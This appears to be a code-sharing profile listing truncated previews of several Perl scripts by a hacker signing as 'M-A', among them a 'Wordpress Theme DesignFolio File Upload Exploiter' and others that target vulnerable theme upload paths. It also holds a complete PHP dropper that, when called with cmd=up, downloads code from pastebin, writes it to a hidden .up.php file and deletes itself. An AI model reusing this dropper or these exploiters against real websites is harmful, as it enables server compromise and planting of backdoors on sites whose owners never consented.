mranarshit

#!/usr/bin/perl -
# install parallel::forkmanager module sudo apt-get install libparallel-forkmanager-perl
# or cpan Parallel::ForkManager 
# 
use strict;
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use Parallel::ForkManager;
use URI::Escape;

mranarshit

#!/usr/bin/perl
use LWP::UserAgent;
# Coded By M-A
# Greet's : My Brother Rab3oun & Boy & All Sec4ever Menber 
# Perl Lov3r :)
my $datestring = localtime();
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime();
 
sub randomagent {
my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',

mranarshit

#!/usr/bin/perl
use LWP::UserAgent;
# Coded By M-A
# Greet's : My Brother Rab3oun & Boy & MMxM & 0ne & All Friends
# Perl Lov3r :)
my $qqvul ="php.php";#theme path vul
my $datestring = localtime();
($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime();

sub randomagent {

mranarshit

<?
if ($_GET['cmd']=="up")
{
echo "OK";
$path = $_SERVER["DOCUMENT_ROOT"];
$c=file_get_contents("http://pastebin.com/XVhLHWye");
$fh = fopen(".up.php", 'w') ; 
fwrite($fh,$c) ;
unlink(__FILE__);
}

mranarshit

#!/usr/bin/perl -w
# Wordpress Theme DesignFolio File Upload Exploiter :)
# C0ded by Mr_AnarShi-T (M-A)
# (c) Janissaries.org
# GreeT's : All Friend Specially Rab3oun :)
use strict;
use LWP::UserAgent;
use Digest::MD5 qw(md5 md5_hex);
use MIME::Base64;
use IO::Socket;

mranarshit

#!/usr/bin/perl -w
# Coded By M-A
# Greet's : My Brother Rab3oun & Boy & All Sec4ever Menber 
# (c) Jannissaries.org & Sec4ever.com 
# Perl Lov3r :)
use strict;
use HTTP::Request;
use Digest::MD5;
use LWP::UserAgent;
use URI::Split qw/ uri_split uri_join /;

mranarshit

#!/usr/bin/perl -w
# Coded By M-A
# Greet's : My Brother Rab3oun & Boy & All Sec4ever Menber 
# (c) Jannissaries.org & Sec4ever.com 
# Perl Lov3r :)
use strict;
use HTTP::Request;
use LWP::UserAgent;
use URI::Split qw/ uri_split uri_join /;
my $datestring = localtime();

mranarshit

#!/usr/bin/perl
use LWP::UserAgent;
# Coded By M-A
# Greet's : My Brother Rab3oun & Boy & All Sec4ever Menber 
# Perl Lov3r :)
my $datestring = localtime();
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime();

sub randomagent {
my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',

mranarshit

#!/usr/bin/perl
use LWP::UserAgent;
# Coded By M-A
# Greet's : My Brother Boy & MMxM & Rab3oun & All Sec4ever Menber 
# Perl Lov3r :)
my $qqvul ="/upload-file.php";#theme path vul
my $datestring = localtime();
($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime();

sub randomagent {